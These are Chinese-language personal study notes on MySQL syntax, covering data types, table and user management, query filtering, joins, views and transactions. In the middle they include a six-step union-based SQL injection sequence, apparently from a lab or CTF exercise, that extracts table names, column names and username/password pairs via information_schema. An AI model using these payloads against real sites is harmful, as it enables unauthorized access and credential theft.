mysql基本语法
基本MySQL笔记
- 未设置环境变量之前需要在dos下进入mysql安装目录的bin目录执行 mysql -uroot（u用户名）-p进入数据库，设置完path环境变量之后可直接在其他目录下执行mysql -uroot -p 进入数据库
- MySQL命令需以英文分号“;”结束命令，结尾的符号可以被修改。命令不区分大小写，
- 启动mysql服务：
以管理员身份运行dos输入命令 net start mysql56关闭mysql服务：
以管理员身份运行dos输入命令 net stop mysql56
- 单行注释
#注释
-- （空格）注释
多行注释
/*注释*/
刷新： flush privileges；
查询：select 字段名(uid,username,password) from 数据库名.数据表名;
查询指定字段的值：select * from 数据库名.数据表名 where 字段=><值(字符型的要用‘’)
目录
1.数据类型 2.字段名修饰 3.运算符
4.SQL语句的分类 5 . 数据库的相关操作DDL
6.数据表的相关操作DDL 7. 数据操作语言DML
8.DCL操作
- 数据类型
整型
浮点型
定点型→→decimal(m,d)数字 ,
形式为decimal（数字位数，小数位数）数字
例：decimal（4，2）13.14
比浮点型精确，不会四舍五入
字符串型 char(长度) → 定长，不够用空格补，多了截掉
varchar（长度）→ 可变长度，根据字符长度自己调整
长文本类型 text
时间类型
- 字段名修饰
列名的修饰
↓↓↓
unsigned（表示无负号，即值为正值）
auto_increment(自增)
default(默认值)
comment(对字段进行解释)
not null （非空）
索引
unique(唯一索引)
index(普通索引)
primary key（主键）
auto_increment必须制定为primary key
- 运算符
= （可用作赋值号和判断）
！= 与 <> (都是不等于的意思)
< > <= >=
or 或者 ||
and 且 &&
between......and
In (在什么里面) in（1，2，3） not in（不再里边）
- SQL语句的分类
DDL(date defination language)数据定义语言
作用：创建 删除 修改 库表结构（重点）
DML(date manipulation language)数据操作语言
作用：增 删 改 表的记录（重点）
DCL(date control language)数据控制语言
作用：用户的创建以及授权（懂即可）
DQL(date query language)数据查询语言
作用：查询数据（重点）
- 数据库相关操作DDL
查看所有的数据库 →→ show databases
切换数据库 →→ use 数据库名
创建新数据库 →→ create database 数据库名
删除数据库 →→ drop database 数据库名
- 数据表的相关操作DDL
创建前要先选择数据库，否则会报错
创建数据表结构：
create table 表名(
列名 列类型 其他关键词，
.........
列名 列类型
);
查看当前数据库的表：
show tables;
查看表结构：
desc 表名
- 数据操作语言DML
对表记录的（增删改）
插入数据：
insert into 表名(列1，列2，列3...) values(列值1，列值2.....) 列和值是一一对应的
查看表中数据：
select * from 表名；
更新表中数据：
Update 表名 set 列1=列值1，列2=列值2， where条件
不加where条件会修改所有的记录
修改数据的几种方法
删除：
delete from 表名 where 条件
不加where条件会删除所有的记录
还有一个删除表记录就是 truncate 表名 是DDL的
truncate 表名
清除所有表中数据，重新插入数据时并会从头开始排
- DCL操作
选择mysql数据库后，输入命令select user，host from user; 可查看用户情况。
修改密码
Ⅰ：选择mysql数据库，
输入select user，host，password from user；然后使用update命令更换密码；（即一步一步选择表数据，修改）
Ⅱ：通过访问bin目录下的mysqladmin文件修改密码（暂不可使用）
输入命令 mysqladmin -u用户名 -p原密码 password 新密码
忘记密码
进入mysql安装目录bin目录，通过dos进入bin目录，然后输入mysqld --skip-grant-tables；重新输入mysql后可跳过输入密码，输入use mysql进入mysql数据库，（输入select * from user；）更新表中密码数据即可更换密码，即用命令 update user set password=password(‘*****’) where user=’root’; 然后输入 flush privileges； 刷新下重新进入即可。
创建用户
create user 用户名 @’IP地址’ identified by ‘密码’
（此用户只能在制定的ip地址上使用， 如果想用所有的ip都可以的话用 @%）
用户授权
grant 权限一，权限二，.... on 数据库名.* to 用户名@IP地址（或者%）
（所有的数据库 就用 *.* 所有的权限就用all或者all privileges）
撤销权限
revoke权限一，权限二...... on 数据库名.*from 用户名@IP地址（或者%）
然后退出ZHI用户重新登陆，查看select权限被剥夺
把创建用户和分配权限放在一起实现
查看用户权限
show grants for ‘用户名’ @’IP’
删除用户
drop user 用户名@IP地址
打开服务:service sql start
进入数据库:mysql -u root -p
查看数据库:show databases;
进入数据库:use 库名
查看当前数据库中所有表：show tables;
查看字段名：desc 表名；
查询：select 字段名(uid,username,password) from 数据库名.数据表名;
查询指定字段的值：select * from 数据库名.数据表名 where 字段=><值(字符型的要用‘’)
select SCHEMA_NAME from schemata;
schemata表中SCHEMA_NAME字段存放的是数据库名称
sql注入基本步骤：
1.order by 数字
查出列数
2.union select 1,2,3
查出展示位
3.union select 1,user(),database()
查出用户名，数据库名challenge
4.select group_concat(table_name) from information_schema.tables where table_schema='challenge’
查出表名：emails,users
5.(select group_concat(column_name) from information_schema.columns where table_schema='challenge' and table_name='users')
查出users表的字段名id,username,password
6.(select group_concat(concat_ws(0x7e,username,password)) from challenge.users)
查出用户信息
concat_ws()自动插入分隔符
目录
9.分组数据
10.使用子查询
检索数据
从1表中检索2，3,4的列：
select 2,3,4（所有列*） from 1;
从1表中检索2的列的不同值：
select distinct 2（所有列*） from 1;
（使用distinct关键字必须放在列前面）
从1表中检索m列的前n行的值 (不同的DBMS有不同的语法) ：
Mysql,MariaDB,PostgreSQL:select m（所有列*） from 1 limit n;
DB2:select m from 1 fetch first n rows only;
Oracle:select m from 1 where rownum <=n;
从1表中检索m的列从a行开始的b行的值：
select m from 1 limit b offset a;
注释：--注释内容；#注释内容；/*内容*/(多行)
排序检索数据
升序排列某一列数据：
select 列 from 表 order by 列；（order by为最后的字句）
升序排列多列(a表中的吗m,n列先按m排序后按n排序)：
select m,n from a order by m,n（1,2）;
降序排列多列(a表中的吗m,n列先按m排序后按n排序)：
select m,n from a order by m desc,n desc;
过滤数据
Where子句操作符：
=等于；<>,!=不等于；<小于；>大于; >=大于等于; !>不大于; !<不小于; between 。。。。and在指定的两个值之间; is null为null值;
条件限定查询：
select m,n from a where 限定条件 order by 排序规则；
例：select name,id from cityone where id>=5 order by id desc,name;
高级数据过滤
And过滤(1,2条件都得满足)：优先级高于or
select 列 from 表 where 条件1 and 条件2；
例：检索id大于5且name值不为aa的数据
select m,n from a where id>a and name!=‘aa’;
or 过滤（1,2条件满足其一即可）：
select 列 from 表 where 条件1 or 条件2；
优先级易错点：
Select m,n from a where name=1 or name=2 and age>10;
由于and的优先级大于or,所以此语句的意思是检索出name值为2并且age大于10或者name为1 的数据；
若想检索name为1,2且age大于10的sql语句为：
Select m,n from a where (name=1 or name=2)and age>10;(（）优先级最高)
In过滤：
Select m,n from a where m in (a,b) order by n;
检索a表中m列中名为a,b的值输出对应的n列的值，相当于or语句：
Select m,n from a where m=a or m=b order by n;
Not过滤：
Select m,n from a where not m=’aa’order by n,m;
检索出除m=aa以外的值
用通配符进行过滤
%通配符（%表示任意字符出现任意次数）：
Select m,n from a where n like ‘a%’;
检索出n列中以a开头的所有值；
_通配符（一个_只匹配一个字符）：
Select m,n from a where n like ‘_a’;
[]通配符:
Select m,n from a where n like ‘[ab]%’;
检索以a或b开头的所有数据；
Select m,n from a where n like ‘[^ab]%’;
检索除了以a或b开头的所有数据；
创建计算字段
拼接字段：
Select m + ‘(’+ n + ‘)’ from a ;
或Select m || ‘(’n || ‘)’ from a;
消除空格：select rtrim(m) + ‘(’+ n + ‘)’ from a ;
Select m + ‘(’+ n + ‘)’as aa from;(设置别名为aa,||同上)
Select concat(m,‘(’n,‘)’) from a;(mysql mariadb)
Select concat(m,‘(’n,‘)’) as aa from a;(mysql mariadb别名设置)
列与列之间的运算(运算符*-+/)：
Select m,n,m*n as sum from a;
使用函数处理数据
大(小)写转换函数：upper（），lower()
Select m,upper(m) as n from a;
检索字符串左（右）边的n个字符：left（列，n），right（列，n）
Select left(列,n) from a;
返回字符串长度：length()
Select m,length(m) from a;
去掉字符串左（右）边的空格：ltrim(),rtrim()
Select m,ltrim(m) from a;
检索发音相似：soundex()
Select m,n from a where soundex(m)=soundex(‘字符串’)；
数值处理函数：
绝对值Abs(); 余弦cos(); 正弦sin(); 指数值exp();
圆周率pi(); 平方根sqrt(); 正切tan()
汇总数据
求列平均值：avg()
Select avg(m) from a where name=‘n’；
求m列name的值为n的平均值
计算列的行数：count()
Select count(*) as b from a;
返回列中最大（小）值：max(),min()
Select max(m) from a;
求指定列的和：sum()
Select sum(m) as sum from a;
只包含不同的值，指定distinct:(上面四种函数都适用)
Select sum(distinct m) as n from a;
分组数据
创建分组：group by
Selct m,count(*) from a group by m;
分组表示m列的行数；
过滤分组+排序：having
Select m,count(*) from a group by m having count(*)>=2 order by m;
使用子查询
利用子查询进行过滤：
Cityone 表中存放的是用户id及姓名；people 表存放的是用户的年龄。
根据id查名字，再根据名字查年龄：
Select name from cityone where id=2;查出name=bb
Select age from people where name in(‘bb’);
相当于子查询的：Select age from people where name in(select name from cityone where id=2);
作为计算字段使用子查询：
Cityone 表中存放的有用户姓名；people表存放的也有用户的姓名。
利用子查询查出people表中的name在cityone中出现的次数：
Select name,(select count(*) from cityone where cityone.name=people.name) as sum from people;
联结表
创建联结：返回多个表中的数据
Select m,n from a,b where a.id=b.id;
其中m列在a表中，n列在b表中
内联结：
Select m,n from a inner join b on a.id=b.id;(查询效果同上)
联结多个表：
Select m,n,p from a,b,c where a.id=b.id and b.id=c.id;
创建高级联结
使用表别名：(oracle中不用as直接用表名 别名)
Select m,n,p from name as a,age as e,high as h where a.id=e.id and e.id=h.id;
自联结
这是利用子查询查找b表中id 为2的name，在a表中查出年龄：
Select name,age from a where name=(select name from b where id=2);
这是使用自联结：
Select name,age from aaaa as a,bbbb as b where a.name=b.name and b.id=2;
外联结：left或right指的是outer join左右的表
Select name,age from aaaa left outer join bbbb on aaaa.id=bbbb.id and bbbb.name=’cc’;
与内联结相反，外联结是显示除了name=’cc’以外的信息，left是指从bbbb左边选择所有行；
组合查询
创建组合查询:默认是合并重复的行的，若要全部显示用union all
Select m,p from a where n in (‘aa’,‘bb’);
Select m,p from b where q=‘cc’;
相当于：Select m from a where n in (‘aa’,‘bb’) union Select p from b where q=‘cc’order by m;(排序只能在最后使用一个order by)
插入数据
插入行：
不够安全的写法：Insert into 表名 values(各个列的值)；
安全的写法：insert into 表名（列名） values(对应前面列的值)；
插入检索出的数据：
Insert into a(m,n,p,q) select m,n,p,q from b;
从一个表复制到另一个表：
Select * into 新表名 from 原表名；
或
Create table 新表名 as select * from 原表名；
更新和删除数据
更新数据：
Update 表名 set 列名=更改值,列名=更改值 where 限制条件；
例：update a set m=’aa’，n=’bb’ where id=1;
删除数据：删除整行
Delete from 表名 where 限制条件；
例： delete from a where id=3;
创建和操纵表
创建表：default为设置默认值，可选
Create table 表名（列名 数据类型 not null或null default 默认值）；
例： create table a(m int not null,n varchar null);mysql中varchar改为text
删除列，添加列：
alter table 表名 add column 列名 varchar(30);
alter table 表名 drop column 列名;
删除表：
Drop table 表名；
Mysql重命名表名：
Rename table 旧表名 to 新表名；
创建视图
创建视图：
Create view 视图名 as select m,n from a,b,where a.id=b.id
使用视图查询：
Select name from 视图名 where id=1;
使用视图格式化检索的结果：
Create view 视图名 as select concat(name,’(’,age,’)’) as b from a;
Select * from 视图名；
删除视图：
Drop view 视图名；
管理事务处理
Sql server:
Begin transaction
Sql语句
Save transaction delete1； //设置保留点delete1
If …… //判断条件
Rollback transaction delete1; //回退到保留点delete1
Commit transaction
例：begin transaction
Commit transaction
Mysql MariaDB:
Start transaction
Delete m where name=’aa’
Savepoint delete1; //设置保留点delete1
If……
Rollback to delete1; //回退到保留点delete1
Commit;
Oracle :
Set transaction
Savepoint delete1; //设置保留点delete1
If……
Rollback to delete1; //回退到保留点delete1
Commit;